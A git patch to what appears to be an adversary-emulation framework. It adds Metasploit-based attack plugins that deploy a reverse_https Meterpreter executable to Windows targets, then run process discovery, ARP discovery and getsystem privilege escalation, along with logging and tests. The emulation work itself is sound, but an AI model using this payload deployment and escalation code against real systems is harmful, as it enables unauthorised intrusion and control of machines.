From 1cb76d8cf9c1be2ac755e933e3e56253824b458a Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Tue, 6 Jul 2021 11:33:26 +0200 Subject: [PATCH] Added stand alone metasploit attacks --- app/attack_log.py | 84 +++++++++++ app/metasploit.py | 132 +++++++++++++++++- plugins/base/attack.py | 4 +- .../FIN7/fin7_section1.py | 1 + .../metasploit_arp_t1016/metasploit_arp.py | 43 ++++++ .../metasploit_getsystem.py | 43 ++++++ .../metasploit_ps_t1057/metasploit_ps.py | 43 ++++++ tests/test_attack_log.py | 84 +++++++++++ 8 files changed, 427 insertions(+), 7 deletions(-) create mode 100644 plugins/default/metasploit_attacks/metasploit_arp_t1016/metasploit_arp.py create mode 100644 plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py create mode 100644 plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py diff --git a/app/attack_log.py b/app/attack_log.py index c4de66d..85a9248 100644 --- a/app/attack_log.py +++ b/app/attack_log.py @@ -220,6 +220,90 @@ class AttackLog(): } self.log.append(data) + def start_metasploit_attack(self, source, target, metasploit_command, ttp=None): + """ Mark the start of a Metasploit based attack + + @param source: source of the attack. Attack IP + @param target: Target machine of the attack + @param metasploit_command: The command to metasploit + @param ttp: TTP of the attack. From plugin + """ + + data = {"timestamp": __get_timestamp__(), + "event": "start", + "type": "attack", + "sub-type": "metasploit", + "source": source, + "target": target, + "metasploit_command": metasploit_command, + "hunting_tag": __mitre_fix_ttp__(ttp), + } + self.log.append(data) + + def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None): + """ Mark the start of a Metasploit based attack + + @param source: source of the attack. Attack IP + @param target: Target machine of the attack + @param metasploit_command: The command to metasploit + @param ttp: TTP of the attack. From plugin + """ + + data = {"timestamp": __get_timestamp__(), + "event": "stop", + "type": "attack", + "sub-type": "metasploit", + "source": source, + "target": target, + "metasploit_command": metasploit_command, + "hunting_tag": __mitre_fix_ttp__(ttp), + } + self.log.append(data) + + def start_attack_plugin(self, source, target, plugin_name, ttp=None): + """ Mark the start of an attack plugin + + @param source: source of the attack. Attack IP + @param target: Target machine of the attack + @param plugin_name: Name of the plugin + @param ttp: TTP of the attack. From plugin + """ + + data = {"timestamp": __get_timestamp__(), + "event": "start", + "type": "attack", + "sub-type": "attack_plugin", + "source": source, + "target": target, + "plugin_name": plugin_name, + "hunting_tag": __mitre_fix_ttp__(ttp), + } + self.log.append(data) + + # TODO: Add parameter + # TODO: Add config + # TODO: Add results + + def stop_attack_plugin(self, source, target, plugin_name, ttp=None): + """ Mark the end of an attack plugin + + @param source: source of the attack. Attack IP + @param target: Target machine of the attack + @param plugin_name: Name of the plugin + @param ttp: TTP of the attack. From plugin + """ + + data = {"timestamp": __get_timestamp__(), + "event": "stop", + "type": "attack", + "sub-type": "attack_plugin", + "source": source, + "target": target, + "plugin_name": plugin_name, + "hunting_tag": __mitre_fix_ttp__(ttp), + } + self.log.append(data) + def write_json(self, filename): """ Write the json data for this log diff --git a/app/metasploit.py b/app/metasploit.py index 50b3d2a..e6680bd 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -23,6 +23,7 @@ class Metasploit(): """ self.password = password + self.username = kwargs.get("username", None) self.kwargs = kwargs self.client = None @@ -31,7 +32,7 @@ class Metasploit(): self.attacker = kwargs.get("attacker", None) if self.attacker: # we expect a running attacker but without a running msfrcpd - self.start_msfrpcd(kwargs.get("username")) + self.start_msfrpcd() kwargs["server"] = self.attacker.get_ip() time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client. @@ -51,24 +52,32 @@ class Metasploit(): print(res) return res - def start_msfrpcd(self, username): + def start_msfrpcd(self): """ Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """ - cmd = f"msfrpcd -P {self.password} -U {username} -S" + cmd = f"nohup msfrpcd -P {self.password} -U {self.username} -S &" self.attacker.remote_run(cmd, disown=True) + # print("msfrpcd started") + # breakpoint() + time.sleep(3) def get_client(self): """ Get a local metasploit client connected to the metasploit server """ + + # print("starting get client") + # print(f"Password: {self.password}") + # print(f"Kwargs: {self.kwargs}") + if self.client: return self.client self.client = MsfRpcClient(self.password, **self.kwargs) + # print(f"Got client {self.client}") return self.client - def wait_for_session(self): + def wait_for_session(self, retries=50): """ Wait until we get a session """ - retries = 50 while self.get_client().sessions.list == {}: time.sleep(1) print(f"Waiting to get any session {retries}") @@ -159,6 +168,33 @@ class Metasploit(): return res + def smart_infect(self, target, payload_type="windows/x64/meterpreter/reverse_https", payload_name="babymetal.exe"): + """ Checks if a target already has a meterpreter session open. Will deploy a payload if not """ + + # TODO Smart_infect should detect the platform of the target and pick the proper parameters based on that + + try: + self.start_exploit_stub_for_external_payload(payload=payload_type) + self.wait_for_session(2) + except MetasploitError: + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Create payload {payload_name} replacement{CommandlineColors.ENDC}", + 1) + venom = MSFVenom(self.attacker, target, self.attack_logger) + venom.generate_and_deploy(payload=payload_type, + architecture="x64", + platform="windows", + lhost=self.attacker.get_ip(), + format="exe", + outfile=payload_name) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {payload_name} replacement - waiting for meterpreter shell{CommandlineColors.ENDC}", + 1) + + self.start_exploit_stub_for_external_payload(payload=payload_type) + self.wait_for_session() + ########################################################################## @@ -286,3 +322,89 @@ class MSFVenom(): self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}", 1) + +################ + + +class MetasploitInstant(Metasploit): + """ A simple metasploit class with pre-defined metasploit attacks and logging. Just add water + + The attacks pre-defioned in here are the bread-and-butter attacks, the most basic ones. Those you will need all the time when simulating and adversary. + No need to add specific/specific ones in here. In attack plugins you will find all the features as well. Better code them there. + + """ + + def __init__(self, password, attack_logger, **kwargs): + """ + + :param password: password for the msfrpcd + :param attack_logger: The attack logging + :param kwargs: Relevant ones: uri, port, server, username + """ + super().__init__(password, **kwargs) + self.attack_logger = attack_logger + + def ps_process_discovery(self, target): + """ Do a process discovery on the target """ + + command = "ps -ax" + ttp = "T1057" + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) + + self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp) + res = self.meterpreter_execute_on([command], target) + print(res) + self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp) + return res + + def arp_network_discovery(self, target): + """ Do a network discovery on the target """ + + command = "arp" + ttp = "T1016" + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) + + self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp) + res = self.meterpreter_execute_on([command], target) + print(res) + self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp) + return res + + def getsystem(self, target): + """ Do a network discovery on the target """ + + command = "getsystem" + ttp = "????" # It uses one out of three different ways to elevate privileges. + # https://docs.rapid7.com/metasploit/meterpreter-getsystem/ + + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) + + self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp) + res = self.meterpreter_execute_on([command], target) + print(res) + self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), + target=target.get_ip(), + metasploit_command=command, + ttp=ttp) + return res + diff --git a/plugins/base/attack.py b/plugins/base/attack.py index 3510ef9..a6ed6f8 100644 --- a/plugins/base/attack.py +++ b/plugins/base/attack.py @@ -151,10 +151,10 @@ class AttackPlugin(BasePlugin): self.targets = targets ips = [tgt.get_ip() for tgt in targets] self.setup() - self.attack_logger.start_kali_attack(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp()) + self.attack_logger.start_attack_plugin(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp()) res = self.run(targets) self.teardown() - self.attack_logger.stop_kali_attack(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp()) + self.attack_logger.stop_attack_plugin(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp()) return res def get_ttp(self): diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 8da01ee..697a623 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -332,6 +332,7 @@ class FIN7Plugin(AttackPlugin): # spawn powershell through cmd # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ # paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ + # https://www.poweradmin.com/paexec/ # => Lateral move to itadmin # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ # svchost starts data exchange diff --git a/plugins/default/metasploit_attacks/metasploit_arp_t1016/metasploit_arp.py b/plugins/default/metasploit_attacks/metasploit_arp_t1016/metasploit_arp.py new file mode 100644 index 0000000..56d1883 --- /dev/null +++ b/plugins/default/metasploit_attacks/metasploit_arp_t1016/metasploit_arp.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 + +# A plugin to nmap targets slow motion, to evade sensors + +from plugins.base.attack import AttackPlugin +from app.metasploit import MetasploitInstant + + +class MetasploitArpPlugin(AttackPlugin): + + # Boilerplate + name = "metasploit_arp" + description = "Network discovery via metasploit using arp" + ttp = "T1016" + references = ["https://attack.mitre.org/techniques/T1016/"] + + required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def run(self, targets): + """ Run the command + + @param targets: A list of targets, ip addresses will do + """ + + res = "" + payload_type = "windows/x64/meterpreter/reverse_https" + payload_name = "babymetal.exe" + target = self.targets[0] + + metasploit = MetasploitInstant(self.metasploit_password, + attack_logger=self.attack_logger, + attacker=self.attacker_machine_plugin, + username=self.metasploit_user) + + metasploit.smart_infect(target, payload_type, payload_name, ) + + metasploit.arp_network_discovery(target) + + return res diff --git a/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py b/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py new file mode 100644 index 0000000..c4eb5b7 --- /dev/null +++ b/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 + +# A plugin to nmap targets slow motion, to evade sensors + +from plugins.base.attack import AttackPlugin +from app.metasploit import MetasploitInstant + + +class MetasploitGetsystemPlugin(AttackPlugin): + + # Boilerplate + name = "metasploit_getsystem" + description = "Privilege elevation via metasploit getsystem" + ttp = "????" + references = ["https://docs.rapid7.com/metasploit/meterpreter-getsystem/"] + + required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def run(self, targets): + """ Run the command + + @param targets: A list of targets, ip addresses will do + """ + + res = "" + payload_type = "windows/x64/meterpreter/reverse_https" + payload_name = "babymetal.exe" + target = self.targets[0] + + metasploit = MetasploitInstant(self.metasploit_password, + attack_logger=self.attack_logger, + attacker=self.attacker_machine_plugin, + username=self.metasploit_user) + + metasploit.smart_infect(target, payload_type, payload_name, ) + + metasploit.getsystem(target) + + return res diff --git a/plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py b/plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py new file mode 100644 index 0000000..e4109c1 --- /dev/null +++ b/plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 + +# A plugin to nmap targets slow motion, to evade sensors + +from plugins.base.attack import AttackPlugin +from app.metasploit import MetasploitInstant + + +class MetasploitPsPlugin(AttackPlugin): + + # Boilerplate + name = "metasploit_ps" + description = "Process discovery via metasploit" + ttp = "T1057" + references = ["https://attack.mitre.org/techniques/T1057/"] + + required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def run(self, targets): + """ Run the command + + @param targets: A list of targets, ip addresses will do + """ + + res = "" + payload_type = "windows/x64/meterpreter/reverse_https" + payload_name = "babymetal.exe" + target = self.targets[0] + + metasploit = MetasploitInstant(self.metasploit_password, + attack_logger=self.attack_logger, + attacker=self.attacker_machine_plugin, + username=self.metasploit_user) + + metasploit.smart_infect(target, payload_type, payload_name, ) + + metasploit.ps_process_discovery(target) + + return res diff --git a/tests/test_attack_log.py b/tests/test_attack_log.py index e37a1e6..d463557 100644 --- a/tests/test_attack_log.py +++ b/tests/test_attack_log.py @@ -119,3 +119,87 @@ class TestMachineConfig(unittest.TestCase): self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["kali_name"], attack_name) self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp) + + def test_metasploit_attack_start(self): + """ Starting a metasploit attack """ + al = AttackLog() + source = "asource" + target = "a target" + ttp = "1234" + attack_name = "a name" + al.start_metasploit_attack(source=source, + target=target, + metasploit_command=attack_name, + ttp=ttp, + ) + data = al.get_dict() + self.assertEqual(data[0]["event"], "start") + self.assertEqual(data[0]["type"], "attack") + self.assertEqual(data[0]["sub-type"], "metasploit") + self.assertEqual(data[0]["source"], source) + self.assertEqual(data[0]["target"], target) + self.assertEqual(data[0]["metasploit_command"], attack_name) + self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp) + + def test_metasploit_attack_stop(self): + """ Stopping a metasploit attack """ + al = AttackLog() + source = "asource" + target = "a target" + ttp = "1234" + attack_name = "a name" + al.stop_metasploit_attack(source=source, + target=target, + metasploit_command=attack_name, + ttp=ttp, + ) + data = al.get_dict() + self.assertEqual(data[0]["event"], "stop") + self.assertEqual(data[0]["type"], "attack") + self.assertEqual(data[0]["sub-type"], "metasploit") + self.assertEqual(data[0]["source"], source) + self.assertEqual(data[0]["target"], target) + self.assertEqual(data[0]["metasploit_command"], attack_name) + self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp) + + def test_attack_plugin_start(self): + """ Starting a attack plugin """ + al = AttackLog() + source = "asource" + target = "a target" + ttp = "1234" + attack_name = "a name" + al.start_attack_plugin(source=source, + target=target, + plugin_name=attack_name, + ttp=ttp, + ) + data = al.get_dict() + self.assertEqual(data[0]["event"], "start") + self.assertEqual(data[0]["type"], "attack") + self.assertEqual(data[0]["sub-type"], "attack_plugin") + self.assertEqual(data[0]["source"], source) + self.assertEqual(data[0]["target"], target) + self.assertEqual(data[0]["plugin_name"], attack_name) + self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp) + + def test_attack_plugin_stop(self): + """ Stopping a attack plugin""" + al = AttackLog() + source = "asource" + target = "a target" + ttp = "1234" + attack_name = "a name" + al.stop_attack_plugin(source=source, + target=target, + plugin_name=attack_name, + ttp=ttp, + ) + data = al.get_dict() + self.assertEqual(data[0]["event"], "stop") + self.assertEqual(data[0]["type"], "attack") + self.assertEqual(data[0]["sub-type"], "attack_plugin") + self.assertEqual(data[0]["source"], source) + self.assertEqual(data[0]["target"], target) + self.assertEqual(data[0]["plugin_name"], attack_name) + self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp)